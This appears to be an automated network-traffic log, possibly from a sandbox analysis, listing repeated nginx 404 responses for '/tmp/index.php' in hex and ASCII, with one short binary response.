Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:41 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:44 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:47 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:48 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:50 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:51 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:53 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:42:54 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 06 63 42 f3 31 04 ed f1 49 f6 9d ed e4 21 9b 23 9a e8 31 55 12 c3 89 9b c2 63 9a 3b 0d 16 Data Ascii: #\6cB1I!#1Uc;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:43:08 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:43:11 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:43:13 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:43:14 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:43:16 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:43:17 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:43:19 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
